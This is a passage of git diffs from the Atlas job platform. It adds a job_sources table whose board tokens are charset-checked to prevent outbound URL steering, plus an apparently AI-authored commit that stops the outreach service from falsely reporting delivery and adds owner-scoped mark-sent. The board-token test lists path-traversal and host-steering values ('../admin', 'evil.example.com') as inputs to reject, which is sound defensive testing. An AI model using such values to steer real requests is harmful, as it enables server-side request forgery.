b/packages/db/migrations/meta/_journal.json index 35ef899..e4786d3 100644 --- a/packages/db/migrations/meta/_journal.json +++ b/packages/db/migrations/meta/_journal.json @@ -29,6 +29,13 @@ "when": 1793103905172, "tag": "0003_add_event_outbox", "breakpoints": true + }, + { + "idx": 4, + "version": "7", + "when": 1793107958969, + "tag": "0004_add_job_sources", + "breakpoints": true } ] } \ No newline at end of file diff --git a/packages/db/src/schema/enums.ts b/packages/db/src/schema/enums.ts index aa62e74..3fffeef 100644 --- a/packages/db/src/schema/enums.ts +++ b/packages/db/src/schema/enums.ts @@ -3,6 +3,7 @@ import { APPLICATION_STATUSES, AUTH_PROVIDERS, EMPLOYMENT_TYPES, + JOB_BOARD_PROVIDERS, JOB_SOURCES, MEMBER_ROLES, MESSAGE_CHANNELS, @@ -32,3 +33,5 @@ export const messageChannelEnum = pgEnum('message_channel', MESSAGE_CHANNELS); export const messageStatusEnum = pgEnum('message_status', MESSAGE_STATUSES); export const taskStatusEnum = pgEnum('task_status', TASK_STATUSES); export const jobSourceEnum = pgEnum('job_source', JOB_SOURCES); +/** Public employer job boards read by the jobs service (`job_sources`). */ +export const jobBoardProviderEnum = pgEnum('job_board_provider', JOB_BOARD_PROVIDERS); diff --git a/packages/db/src/schema/index.ts b/packages/db/src/schema/index.ts index 7b17ef6..24b4a33 100644 --- a/packages/db/src/schema/index.ts +++ b/packages/db/src/schema/index.ts @@ -2,5 +2,6 @@ export * from './enums.js'; export * from './identity.js'; export * from './profile.js'; export * from './jobs.js'; +export * from './job-sources.js'; export * from './applications.js'; export * from './ops.js'; diff --git a/packages/db/src/schema/job-sources.ts b/packages/db/src/schema/job-sources.ts new file mode 100644 index 0000000..bba0f7d --- /dev/null +++ b/packages/db/src/schema/job-sources.ts @@ -0,0 +1,51 @@ +import { sql } from 'drizzle-orm'; +import { boolean, check, integer, pgTable, text, timestamp, unique, uuid } from 'drizzle-orm/pg-core'; +import { jobBoardProviderEnum } from './enums.js'; + +/** + * Public employer job boards (Greenhouse, Lever, Ashby) the jobs service reads + * on a schedule to fill the shared catalog. One row per board; the postings it + * yields land in `jobs` with `source` set to the provider. + * + * Global (not tenant) data, like `jobs` and `companies`: only platform + * administrators manage it (`POST /v1/jobs/sources`). Nothing here is a secret: + * the endpoints read are public and unauthenticated, so there is no credential + * column to protect. RLS is enabled by packages/db/supabase/rls.sql like every + * other table in `public`. + */ +export const jobSources = pgTable( + 'job_sources', + { + sourceId: uuid('source_id').primaryKey().defaultRandom(), + provider: jobBoardProviderEnum('provider').notNull(), + /** + * The board's identifier in the provider's URL (Greenhouse `board_token`, + * Lever site name, Ashby job board name). It is the only caller-supplied + * part of the outbound request URL, hence the charset check below. + */ + boardToken: text('board_token').notNull(), + /** The employer the board's postings are attributed to. */ + companyName: text('company_name').notNull(), + enabled: boolean('enabled').notNull().default(true), + /** Last attempt, successful or not, so a failing source cannot starve the others. */ + lastFetchedAt: timestamp('last_fetched_at', { withTimezone: true, mode: 'string' }), + /** `ok` | `partial` | `error`. */ + lastStatus: text('last_status'), + /** Short and scrubbed: never a raw driver or upstream message. */ + lastError: text('last_error'), + /** Postings the last successful fetch listed. */ + lastJobCount: integer('last_job_count'), + createdAt: timestamp('created_at', { withTimezone: true, mode: 'string' }) + .notNull() + .defaultNow(), + }, + (table) => [ + unique('job_sources_provider_board_token_key').on(table.provider, table.boardToken), + // Defense in depth for rows that bypass the API (SQL seeds, the dashboard): + // the fetch layer re-validates before building a URL, and so does the route. + check( + 'job_sources_board_token_check', + sql`${table.boardToken} ~ '^[A-Za-z0-9][A-Za-z0-9_-]{0,99}$'`, + ), + ], +); diff --git a/packages/db/test/job-sources.test.ts b/packages/db/test/job-sources.test.ts new file mode 100644 index 0000000..a2e1f17 --- /dev/null +++ b/packages/db/test/job-sources.test.ts @@ -0,0 +1,111 @@ +import { randomUUID } from 'node:crypto'; +import { eq, inArray } from 'drizzle-orm'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { createDatabase, type DatabaseHandle } from '../src/client.js'; +import { jobSources } from '../src/schema/index.js'; + +// DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; + +function pgCode(error: unknown): string { + const direct = (error as { code?: unknown } | null)?.code; + const nested = (error as { cause?: { code?: unknown } } | null)?.cause?.code; + return String(direct ?? nested ?? ''); +} + +describe.skipIf(!testDatabaseUrl)('job_sources constraints, against Postgres', () => { + let dbHandle: DatabaseHandle; + const tag = randomUUID().slice(0, 8); + const created: string[] = []; + + beforeAll(() => { + dbHandle = createDatabase({ url: testDatabaseUrl!, maxConnections: 2 }); + }); + + afterAll(async () => { + if (created.length > 0) { + await dbHandle.db.delete(jobSources).where(inArray(jobSources.sourceId, created)); + } + await dbHandle.close(); + }); + + it('stores a source with the documented defaults', async () => { + const [row] = await dbHandle.db + .insert(jobSources) + .values({ provider: 'greenhouse', boardToken: `db-${tag}-a`, companyName: 'Acme' }) + .returning(); + created.push(row!.sourceId); + + expect(row).toMatchObject({ + provider: 'greenhouse', + enabled: true, + lastFetchedAt: null, + lastStatus: null, + lastError: null, + lastJobCount: null, + }); + expect(row!.createdAt).toEqual(expect.any(String)); + }); + + it('allows the same token under a different provider but not twice under one', async () => { + const boardToken = `db-${tag}-b`; + const [first] = await dbHandle.db + .insert(jobSources) + .values({ provider: 'lever', boardToken, companyName: 'Acme' }) + .returning(); + const [otherProvider] = await dbHandle.db + .insert(jobSources) + .values({ provider: 'ashby', boardToken, companyName: 'Acme' }) + .returning(); + created.push(first!.sourceId, otherProvider!.sourceId); + + const duplicate = await dbHandle.db + .insert(jobSources) + .values({ provider: 'lever', boardToken, companyName: 'Acme Again' }) + .then( + () => null, + (error: unknown) => error, + ); + expect(pgCode(duplicate)).toBe('23505'); + }); + + it.each([ + ['a path traversal', '../admin'], + ['a dotted hostname', 'evil.example.com'], + ['a slash', 'a/b'], + ['a query string', 'a?x=1'], + ['userinfo', 'user@host'], + ['a port', 'host:8080'], + ['whitespace', 'a b'], + ['a leading hyphen', '-lead'], + ['an empty token', ''], + ['an overlong token', 'a'.repeat(101)], + ])('refuses %s as a board token', async (_label, boardToken) => { + const rejected = await dbHandle.db + .insert(jobSources) + .values({ provider: 'greenhouse', boardToken, companyName: 'Evil' }) + .returning() + .then( + (rows) => { + created.push(...rows.map((row) => row.sourceId)); + return null; + }, + (error: unknown) => error, + ); + expect(pgCode(rejected)).toBe('23514'); + const stored = await dbHandle.db.select().from(jobSources).where(eq(jobSources.boardToken, boardToken)); + expect(stored).toHaveLength(0); + }); + + it('refuses a provider outside the supported set', async () => { + const rejected = await dbHandle.db + .insert(jobSources) + .values({ provider: 'workday' as 'lever', boardToken: `db-${tag}-c`, companyName: 'Acme' }) + .then( + () => null, + (error: unknown) => error, + ); + // invalid_text_representation: not a member of the enum. + expect(pgCode(rejected)).toBe('22P02'); + }); +}); diff --git a/packages/db/test/rls.test.ts b/packages/db/test/rls.test.ts index 239c69e..0fcd513 100644 --- a/packages/db/test/rls.test.ts +++ b/packages/db/test/rls.test.ts @@ -245,6 +245,8 @@ describe.skipIf(!adminUrl)('rls.sql (Data API lockdown of schema public)', () => 'connector_accounts', 'users', 'organization_members', + // Added after rls.sql was written: covered by its blanket "every table in public" rule. + 'job_sources', ]) { expect(publicTables).toContain(required); } diff --git a/packages/db/test/schema.test.ts b/packages/db/test/schema.test.ts index 6215ee6..48b86f7 100644 --- a/packages/db/test/schema.test.ts +++ b/packages/db/test/schema.test.ts @@ -34,6 +34,7 @@ describe('schema definition', () => { 'resumes', 'jobs', 'companies', + 'job_sources', 'applications', 'contacts', 'messages', @@ -81,6 +82,17 @@ describe('generated migration', () => { expect(sqlText).toContain('CREATE UNIQUE INDEX "companies_normalized_name_key"'); }); + it('keeps one row per job board and restricts board tokens to a URL-safe charset', () => { + // job_sources: the board token is spliced into an outbound URL, so the database refuses + // anything that could steer it (dots, slashes, query or userinfo characters) even for + // rows written by hand. + expect(sqlText).toContain('CONSTRAINT "job_sources_provider_board_token_key" UNIQUE("provider","board_token")'); + expect(sqlText).toContain( + `CONSTRAINT "job_sources_board_token_check" CHECK ("job_sources"."board_token" ~ '^[A-Za-z0-9][A-Za-z0-9_-]{0,99}$')`, + ); + expect(sqlText).toContain(`CREATE TYPE "public"."job_board_provider" AS ENUM('greenhouse', 'lever', 'ashby')`); + }); + it('makes email uniqueness case-insensitive', () => { expect(sqlText).toContain('CREATE UNIQUE INDEX "users_email_key" ON "users" USING btree (lower("email"))'); }); diff --git a/packages/types/src/index.ts b/packages/types/src/index.ts index d69105d..d8b804a 100644 --- a/packages/types/src/index.ts +++ b/packages/types/src/index.ts @@ -3,6 +3,7 @@ export * from './enums.js'; export * from './identity.js'; export * from './profile.js'; export * from './job.js'; +export * from './job-source.js'; export * from './application.js'; export * from './events.js'; export * from './api.js'; diff --git a/packages/types/src/job-source.ts b/packages/types/src/job-source.ts new file mode 100644 index 0000000..33f0dbd --- /dev/null +++ b/packages/types/src/job-source.ts @@ -0,0 +1,115 @@ +import { z } from 'zod'; +import { isoTimestampSchema, uuidSchema } from './common.js'; + +/** + * Public employer job boards the jobs service can read automatically. Each is + * an unauthenticated, read-only endpoint the employer publishes for embedding + * in its own careers page; the provider names double as `JobSource` values on + * the jobs they produce (see `JOB_SOURCES`). + */ +export const JOB_BOARD_PROVIDERS = ['greenhouse', 'lever', 'ashby'] as const; +export const jobBoardProviderSchema = z.enum(JOB_BOARD_PROVIDERS); +export type JobBoardProvider = z.infer; + +/** + * The only caller-controlled part of an outbound request URL. Hosts are fixed + * per provider, so this charset is what keeps a stored board token from + * steering a request anywhere else: no dots (no `..` segments, no hostnames), + * no slashes, `?`, `#`, `@`, `:` or whitespace. Tokens that legitimately contain + * anything else are not supported. + */ +export const BOARD_TOKEN_PATTERN = /^[A-Za-z0-9][A-Za-z0-9_-]{0,99}$/; +export const jobBoardTokenSchema = z + .string() + .regex(BOARD_TOKEN_PATTERN, 'board_token must be 1-100 letters, digits, "-" or "_" and start with a letter or digit'); + +/** Visible characters only: no control characters, so it is safe to log and to echo back. */ +const companyNameSchema = z + .string() + .trim() + .min(1) + .max(300) + // eslint-disable-next-line no-control-regex -- rejecting control characters is the point + .refine((value) => !/[\u0000-\u001f\u007f]/.test(value), 'company_name must not contain control characters'); + +/** POST /v1/jobs/sources: upsert on (provider, board_token). */ +export const upsertJobBoardSourceRequestSchema = z.object({ + provider: jobBoardProviderSchema, + board_token: jobBoardTokenSchema, + /** The employer the board's postings are attributed to (list endpoints do not all report one). */ + company_name: companyNameSchema, + /** Omitted: a new source starts enabled, an existing one keeps its current state. */ + enabled: z.boolean().optional(), +}); + +export type UpsertJobBoardSourceRequest = z.infer; + +export const JOB_BOARD_SOURCE_STATUSES = ['ok', 'partial', 'error'] as const; +export const jobBoardSourceStatusSchema = z.enum(JOB_BOARD_SOURCE_STATUSES); +export type JobBoardSourceStatus = z.infer; + +export const jobBoardSourceSchema = z.object({ + source_id: uuidSchema, + provider: jobBoardProviderSchema, + board_token: jobBoardTokenSchema, + company_name: z.string(), + enabled: z.boolean(), + last_fetched_at: isoTimestampSchema.nullable(), + /** `ok` | `partial` | `error`; null until the first attempt. */ + last_status: z.string().nullable(), + /** Short and scrubbed: never a raw driver or upstream message. */ + last_error: z.string().nullable(), + last_job_count: z.number().int().nullable(), + created_at: isoTimestampSchema, +}); + +export type JobBoardSource = z.infer; + +export const listJobBoardSourcesResponseSchema = z.object({ + items: z.array(jobBoardSourceSchema), +}); + +export type ListJobBoardSourcesResponse = z.infer; + +/** Why a successfully fetched source did not have its vanished postings deactivated. */ +export type DeactivationSkipReason = 'empty_result' | 'incomplete_run' | 'rejected_postings' | 'sharp_drop'; + +/** What one source contributed to an ingestion run. */ +export interface JobBoardSourceRunResult { + source_id: string; + provider: JobBoardProvider; + board_token: string; + status: JobBoardSourceStatus; + /** Postings the provider listed that mapped to a valid posting. */ + fetched: number; + /** Provider entries dropped before ingestion: not publicly listed, or unusable. */ + skipped: number; + inserted: number; + /** Already stored under another content hash or external id, then rewritten in place. */ + updated: number; + duplicates: number; + rejected: number; + /** Postings marked inactive because the source no longer lists them. */ + deactivated: number; + deactivation_skipped: DeactivationSkipReason | null; + duration_ms: number; + error: string | null; +} + +/** Response body of `/internal/jobs/ingest-sources`. */ +export interface IngestSourcesReport { + /** Enabled sources that existed when the run started. */ + sources_total: number; + attempted: number; + succeeded: number; + failed: number; + /** Not started because the time budget or the `limit` ran out; they go first next time. */ + not_attempted: number; + inserted: number; + updated: number; + duplicates: number; + rejected: number; + deactivated: number; + duration_ms: number; + sources: JobBoardSourceRunResult[]; +} From 2574944486cdeeeb89bfb5286781a681b0718fff Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:33:40 +0000 Subject: [PATCH 57/91] feat(outreach): stop claiming delivery; add owner-scoped mark-sent OUTREACH_DELIVERY_ENABLED (default false, z.stringbool so a typo fails at boot) now guards POST /v1/messages/:id/send and /schedule: with it off they answer 503 UPSTREAM_UNAVAILABLE before reading, claiming or writing anything and publish no event. The local transport only logs, so NODE_ENV=production also refuses delivery enabled together with it. POST /v1/messages/:id/mark-sent lets the owner record that they sent a draft/scheduled message themselves. One conditional UPDATE does the owner and status check and the claim; a repeat answers 200 without a second event; other users get 404; a failed publish puts the message back so a retry is clean. outreach.sent keeps its shape and gets a per-message event id. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .env.example | 12 +- packages/types/src/api.ts | 14 + services/outreach/src/app.ts | 2 + services/outreach/src/env.ts | 54 ++- .../src/http/routes/mark-message-sent.ts | 74 ++++ .../src/http/routes/schedule-message.ts | 4 +- .../outreach/src/http/routes/send-message.ts | 5 +- services/outreach/src/index.ts | 6 + services/outreach/src/lib/delivery.ts | 30 ++ services/outreach/src/repo/messages.ts | 49 +++ .../outreach/test/delivery-disabled.test.ts | 181 +++++++++ services/outreach/test/env.test.ts | 41 ++ services/outreach/test/outreach-flow.test.ts | 358 +++++++++++++++--- services/outreach/test/ratelimit.test.ts | 12 + services/outreach/test/support.ts | 39 ++ 15 files changed, 820 insertions(+), 61 deletions(-) create mode 100644 services/outreach/src/http/routes/mark-message-sent.ts create mode 100644 services/outreach/src/lib/delivery.ts create mode 100644 services/outreach/test/delivery-disabled.test.ts create mode 100644 services/outreach/test/env.test.ts create mode 100644 services/outreach/test/support.ts diff --git a/.env.example b/.env.example index ab41a80..ef19afa 100644 --- a/.env.example +++ b/.env.example @@ -84,9 +84,19 @@ ADMIN_SERVICE_PORT=4011 SECRET_STORE_DRIVER=local SECRET_STORE_LOCAL_ROOT=./.atlas-secrets -# outreach-service transport: local (logs only, safe default) | smtp (not implemented yet) +# outreach-service transport: local (logs only, dev/test) | smtp (not implemented yet) OUTREACH_TRANSPORT_DRIVER=local +# outreach-service: let Atlas itself "send" (POST /v1/messages/:id/send) and schedule messages. +# Keep false. No transport delivers anything yet (local only logs, smtp is not implemented), so +# true would mark messages "sent" and tell users they went out when nothing was delivered. When +# false, send and schedule are rejected with 503 before anything is written; users copy or open +# the draft in their own mail app and record it with POST /v1/messages/:id/mark-sent. +# Must be exactly a boolean word (true/false/1/0/yes/no/on/off): a typo fails at boot. Even when +# true, nothing dispatches scheduled messages (no worker), and NODE_ENV=production refuses true +# together with OUTREACH_TRANSPORT_DRIVER=local. Set true only for local dev or tests. +OUTREACH_DELIVERY_ENABLED=false + # applications-service: accept mode "auto" on POST /v1/applications. Keep false until a submission # worker consumes queued applications — otherwise auto applications sit in "queued" forever. # When false, mode "auto" is rejected with 400 VALIDATION_ERROR; "manual" and "review" are unaffected. diff --git a/packages/types/src/api.ts b/packages/types/src/api.ts index 79e4e50..e544c8a 100644 --- a/packages/types/src/api.ts +++ b/packages/types/src/api.ts @@ -230,6 +230,20 @@ export const scheduleMessageRequestSchema = z.object({ export type ScheduleMessageRequest = z.infer; +/** + * `POST /v1/messages/:id/mark-sent`: the user records that they sent the + * message themselves (copy-paste, their own mail app). The body is optional. + * + * `note` is accepted so clients can send one, but it is NOT stored: `messages` + * has no column for it and the audit trail deliberately takes no free text. + * Persisting it needs a migration (see docs/04_api_design.md). + */ +export const markMessageSentRequestSchema = z.object({ + note: z.string().trim().max(500).optional(), +}); + +export type MarkMessageSentRequest = z.infer; + export const messageResponseSchema = z.object({ message: messageSchema }); export type MessageResponse = z.infer; diff --git a/services/outreach/src/app.ts b/services/outreach/src/app.ts index d64a0c0..3a181e4 100644 --- a/services/outreach/src/app.ts +++ b/services/outreach/src/app.ts @@ -20,6 +20,7 @@ import { createMessageRoute } from './http/routes/create-message.js'; import { getMessageRoute } from './http/routes/get-message.js'; import { healthRoute } from './http/routes/health.js'; import { listMessagesRoute } from './http/routes/list-messages.js'; +import { markMessageSentRoute } from './http/routes/mark-message-sent.js'; import { scheduleMessageRoute } from './http/routes/schedule-message.js'; import { sendMessageRoute } from './http/routes/send-message.js'; import type { OutreachTransport } from './lib/transport.js'; @@ -126,6 +127,7 @@ export function buildApp(deps: AppDeps): FastifyInstance { getMessageRoute(api, deps); scheduleMessageRoute(api, deps); sendMessageRoute(api, deps); + markMessageSentRoute(api, deps); }, ); diff --git a/services/outreach/src/env.ts b/services/outreach/src/env.ts index 22732c5..b450c1c 100644 --- a/services/outreach/src/env.ts +++ b/services/outreach/src/env.ts @@ -1,19 +1,47 @@ import { baseEnvSchema, databaseEnvSchema, httpEnvSchema, loadEnv, messagingEnvSchema, supabaseAuthEnvSchema } from '@atlas/config'; import { z } from 'zod'; -export const outreachServiceEnvSchema = z.object({ - ...baseEnvSchema.shape, - ...databaseEnvSchema.shape, - ...httpEnvSchema.shape, - ...messagingEnvSchema.shape, - ...supabaseAuthEnvSchema.shape, - /** - * `local` just logs the send (safe default, no external dependency). `smtp` - * is not implemented yet — mirrors `@atlas/storage`'s `s3` driver, which - * throws a clear error at factory time rather than pretending to work. - */ - OUTREACH_TRANSPORT_DRIVER: z.enum(['local', 'smtp']).default('local'), -}); +export const outreachServiceEnvSchema = z + .object({ + ...baseEnvSchema.shape, + ...databaseEnvSchema.shape, + ...httpEnvSchema.shape, + ...messagingEnvSchema.shape, + ...supabaseAuthEnvSchema.shape, + /** + * Whether Atlas itself delivers messages. Off by default, and it must stay + * off until a real transport exists: with it off, `POST /v1/messages/:id/send` + * and `POST /v1/messages/:id/schedule` are rejected before anything is + * claimed or written, and the only way a message becomes `sent` is the + * user recording that they sent it themselves (`POST .../mark-sent`). + * + * `z.stringbool()` rejects anything it does not recognise, so a typo such + * as `OUTREACH_DELIVERY_ENABLED=ture` fails at boot instead of silently + * reading as "off" (or "on"). + * + * Turning it on needs a transport that really delivers. Only `local` exists + * (it logs and delivers nothing) and `smtp` is not implemented, so the + * combination is refused in production below. Even with it on, nothing + * dispatches `scheduled` messages: there is no worker. + */ + OUTREACH_DELIVERY_ENABLED: z.stringbool().default(false), + /** + * `local` just logs the send (dev/test only, no external dependency). `smtp` + * is not implemented yet — mirrors `@atlas/storage`'s `s3` driver, which + * throws a clear error at factory time rather than pretending to work. + */ + OUTREACH_TRANSPORT_DRIVER: z.enum(['local', 'smtp']).default('local'), + }) + .superRefine((env, ctx) => { + if (env.NODE_ENV === 'production' && env.OUTREACH_DELIVERY_ENABLED && env.OUTREACH_TRANSPORT_DRIVER === 'local') { + ctx.addIssue({ + code: 'custom', + path: ['OUTREACH_DELIVERY_ENABLED'], + message: + 'cannot be true in production with OUTREACH_TRANSPORT_DRIVER=local: the local transport only logs, so users would be told mail was sent that never was. Leave it false until a real transport exists.', + }); + } + }); export type OutreachServiceEnv = z.infer; diff --git a/services/outreach/src/http/routes/mark-message-sent.ts b/services/outreach/src/http/routes/mark-message-sent.ts new file mode 100644 index 0000000..0672cad --- /dev/null +++ b/services/outreach/src/http/routes/mark-message-sent.ts @@ -0,0 +1,74 @@ +import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; +import { getActor, requireAuth } from '@atlas/auth-kit'; +import { createEvent, derivedEventId } from '@atlas/messaging'; +import { markMessageSentRequestSchema, uuidSchema, type MessageResponse } from '@atlas/types'; +import { AppError, newTraceContext } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; +import { claimAsSentByOwner, findById, revertSentClaim, toMessage } from '../../repo/messages.js'; + +const paramsSchema = z.object({ id: uuidSchema }); + +/** + * The user tells Atlas they sent this message themselves (they copied it, or + * opened it in their own mail app). Atlas delivered nothing, which is why this + * works whether or not `OUTREACH_DELIVERY_ENABLED` is on, and why it never + * touches the transport. + * + * `messages` has no column to tell a self-reported send from one Atlas made, so + * the row looks the same afterwards. While delivery is off (the only supported + * production configuration) every `sent` row is self-reported; if delivery is + * ever turned on, add a column before relying on the difference. + */ +export function markMessageSentRoute(app: FastifyInstance, deps: AppDeps): void { + app.post('/v1/messages/:id/mark-sent', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + const actor = getActor(request); + const { id } = paramsSchema.parse(request.params); + // No body at all is fine; Fastify leaves `request.body` undefined then. + const body = markMessageSentRequestSchema.parse(request.body ?? {}); + + // Ownership and claim in one conditional UPDATE (see claimAsSentByOwner). + const claimed = await claimAsSentByOwner(deps.db, id, actor.user_id); + if (!claimed) { + const row = await findById(deps.db, id); + // 404, not 403: never confirm that a message exists for someone else's id. + if (!row || row.userId !== actor.user_id) { + throw new AppError('NOT_FOUND', 'Message not found'); + } + if (row.status === 'sent') { + // A retry, a double click, or a request that lost a race: it is already recorded, so + // answer with the current state and emit nothing a second time. + const response: MessageResponse = { message: toMessage(row) }; + reply.status(200).send(response); + return; + } + throw new AppError('CONFLICT', `Cannot mark a message that is "${row.status}" as sent`); + } + + try { + await deps.broker.publish( + createEvent( + 'outreach.sent', + { message_id: claimed.messageId, user_id: claimed.userId, contact_id: claimed.contactId, channel: claimed.channel }, + newTraceContext({ user_id: claimed.userId }), + undefined, + // One event per message: if this publish landed but reported failure, the retry after the + // revert below publishes the same event_id and the outbox/consumers drop the duplicate. + derivedEventId(claimed.messageId, 'outreach.sent'), + ), + ); + } catch (cause) { + try { + await revertSentClaim(deps.db, claimed); + } catch (revertCause) { + request.log.error({ err: revertCause, messageId: claimed.messageId }, 'could not revert mark-sent after a publish failure'); + } + throw cause; + } + + // Ids and a flag only: the note is not stored or logged (it is user text). + request.log.info({ messageId: claimed.messageId, noteProvided: body.note !== undefined && body.note !== '' }, 'message recorded as sent by its owner'); + const response: MessageResponse = { message: toMessage(claimed) }; + reply.status(200).send(response); + }); +} diff --git a/services/outreach/src/http/routes/schedule-message.ts b/services/outreach/src/http/routes/schedule-message.ts index fcffaf2..ff40346 100644 --- a/services/outreach/src/http/routes/schedule-message.ts +++ b/services/outreach/src/http/routes/schedule-message.ts @@ -4,12 +4,14 @@ import { getActor, requireAuth } from '@atlas/auth-kit'; import { scheduleMessageRequestSchema, uuidSchema, type MessageResponse } from '@atlas/types'; import { AppError } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; +import { requireDeliveryEnabled } from '../../lib/delivery.js'; import { findById, setScheduled, toMessage } from '../../repo/messages.js'; const paramsSchema = z.object({ id: uuidSchema }); export function scheduleMessageRoute(app: FastifyInstance, deps: AppDeps): void { - app.post('/v1/messages/:id/schedule', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + // Scheduling is a promise that Atlas will deliver later, so it is refused whenever delivery is. + app.post('/v1/messages/:id/schedule', { preHandler: [requireAuth(deps.tokenVerifier), requireDeliveryEnabled(deps.env)] }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema.parse(request.params); const body = scheduleMessageRequestSchema.parse(request.body); diff --git a/services/outreach/src/http/routes/send-message.ts b/services/outreach/src/http/routes/send-message.ts index c89fe9d..41afbc6 100644 --- a/services/outreach/src/http/routes/send-message.ts +++ b/services/outreach/src/http/routes/send-message.ts @@ -5,12 +5,15 @@ import { createEvent } from '@atlas/messaging'; import { uuidSchema, type MessageResponse } from '@atlas/types'; import { AppError, newTraceContext } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; +import { requireDeliveryEnabled } from '../../lib/delivery.js'; import { claimForSending, findById, setFailed, toMessage } from '../../repo/messages.js'; const paramsSchema = z.object({ id: uuidSchema }); export function sendMessageRoute(app: FastifyInstance, deps: AppDeps): void { - app.post('/v1/messages/:id/send', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + // requireDeliveryEnabled runs after auth and before the handler: while delivery is off, nothing below + // (lookup, claim, transport, event) is reached. + app.post('/v1/messages/:id/send', { preHandler: [requireAuth(deps.tokenVerifier), requireDeliveryEnabled(deps.env)] }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema.parse(request.params); diff --git a/services/outreach/src/index.ts b/services/outreach/src/index.ts index 26bd6d1..574617f 100644 --- a/services/outreach/src/index.ts +++ b/services/outreach/src/index.ts @@ -19,6 +19,12 @@ const broker = createBroker({ }); const tokenVerifier = createTokenVerifierConfig(env); const transport = createTransport({ driver: env.OUTREACH_TRANSPORT_DRIVER, logger }); +logger.info( + { deliveryEnabled: env.OUTREACH_DELIVERY_ENABLED, transport: env.OUTREACH_TRANSPORT_DRIVER }, + env.OUTREACH_DELIVERY_ENABLED + ? 'outreach delivery enabled' + : 'outreach delivery disabled: send and schedule are refused; users record sends with mark-sent', +); export const app = buildApp({ db, sql, env, logger, broker, tokenVerifier, transport }); diff --git a/services/outreach/src/lib/delivery.ts b/services/outreach/src/lib/delivery.ts new file mode 100644 index 0000000..1438b3d --- /dev/null +++ b/services/outreach/src/lib/delivery.ts @@ -0,0 +1,30 @@ +import type { FastifyReply, FastifyRequest } from 'fastify'; +import { AppError } from '@atlas/utils'; +import type { OutreachServiceEnv } from '../env.js'; + +/** + * Stable, machine-readable reason a delivery route was refused. Clients can + * branch on it instead of parsing the message. + */ +export const DELIVERY_DISABLED_REASON = 'delivery_disabled'; + +/** + * Guard for every route that would have Atlas deliver a message (`send`) or + * promise to (`schedule`). It runs as a `preHandler` after `requireAuth`, so an + * anonymous caller still gets a 401 and learns nothing, but before the handler + * reads a parameter, reads the database, claims a row, calls the transport or + * publishes an event. + * + * UPSTREAM_UNAVAILABLE (503) is the closest existing code: delivery is a + * capability this deployment does not have, not something the caller did wrong. + */ +export function requireDeliveryEnabled(env: Pick) { + return async function requireDeliveryEnabledPreHandler(_request: FastifyRequest, _reply: FastifyReply): Promise { + if (env.OUTREACH_DELIVERY_ENABLED) return; + throw new AppError( + 'UPSTREAM_UNAVAILABLE', + 'Atlas does not deliver messages yet. Copy the draft or open it in your own email app, then record it with POST /v1/messages/:id/mark-sent.', + { details: { reason: DELIVERY_DISABLED_REASON, alternative: 'POST /v1/messages/:id/mark-sent' } }, + ); + }; +} diff --git a/services/outreach/src/repo/messages.ts b/services/outreach/src/repo/messages.ts index 04d0954..dd3ce91 100644 --- a/services/outreach/src/repo/messages.ts +++ b/services/outreach/src/repo/messages.ts @@ -85,6 +85,55 @@ export async function claimForSending(db: Database, messageId: string): Promise< return row ?? null; } +/** + * Atomically records that the message's owner sent it themselves. The owner and + * status checks are in the `WHERE` clause, so ownership and the claim are one + * statement: a message that is another user's, missing, or no longer + * draft/scheduled matches nothing and comes back `null`, and of any number of + * concurrent callers exactly one gets the row (and so publishes the event). + */ +const SELF_REPORTABLE_STATUSES = ['draft', 'scheduled'] as const; + +export async function claimAsSentByOwner( + db: Database, + messageId: string, + userId: string, +): Promise { + const [row] = await db + .update(schema.messages) + .set({ status: 'sent', sentAt: new Date().toISOString() }) + .where( + and( + eq(schema.messages.messageId, messageId), + eq(schema.messages.userId, userId), + inArray(schema.messages.status, SELF_REPORTABLE_STATUSES), + ), + ) + .returning(); + return row ?? null; +} + +/** + * Undoes `claimAsSentByOwner` when the event could not be published, so a retry + * starts from a clean state instead of finding a `sent` message whose event was + * never emitted. Only a row still holding the claim's own `sent_at` is touched. + * `scheduled_for` is set exactly when the message was scheduled, which is how + * the earlier status is recovered. + */ +export async function revertSentClaim(db: Database, claimed: MessageRow): Promise { + if (claimed.sentAt === null) return; + await db + .update(schema.messages) + .set({ status: claimed.scheduledFor === null ? 'draft' : 'scheduled', sentAt: null }) + .where( + and( + eq(schema.messages.messageId, claimed.messageId), + eq(schema.messages.status, 'sent'), + eq(schema.messages.sentAt, claimed.sentAt), + ), + ); +} + export async function setFailed(db: Database, messageId: string): Promise { const [row] = await db .update(schema.messages) diff --git a/services/outreach/test/delivery-disabled.test.ts b/services/outreach/test/delivery-disabled.test.ts new file mode 100644 index 0000000..369fab6 --- /dev/null +++ b/services/outreach/test/delivery-disabled.test.ts @@ -0,0 +1,181 @@ +import { randomUUID } from 'node:crypto'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import type { Database } from '@atlas/db'; +import { createBroker, type MemoryBroker } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadOutreachServiceEnv } from '../src/env.js'; +import type { OutreachTransport } from '../src/lib/transport.js'; +import { stubJwksAndCreateSigner, SUPABASE_URL } from './support.js'; + +// No database here on purpose. The `db` handed to the app throws on any use, so a request that +// gets a clean 503 provably never read, claimed or wrote anything. The DB-backed counterpart +// (rows unchanged afterwards) is in outreach-flow.test.ts. +const SEND_LIMIT = 20; +const SOME_MESSAGE = randomUUID(); + +function untouchableDb(touched: string[]): Database { + return new Proxy({} as Database, { + get(_target, property) { + touched.push(String(property)); + throw new Error(`the database must not be used (${String(property)})`); + }, + }); +} + +interface Harness { + app: FastifyInstance; 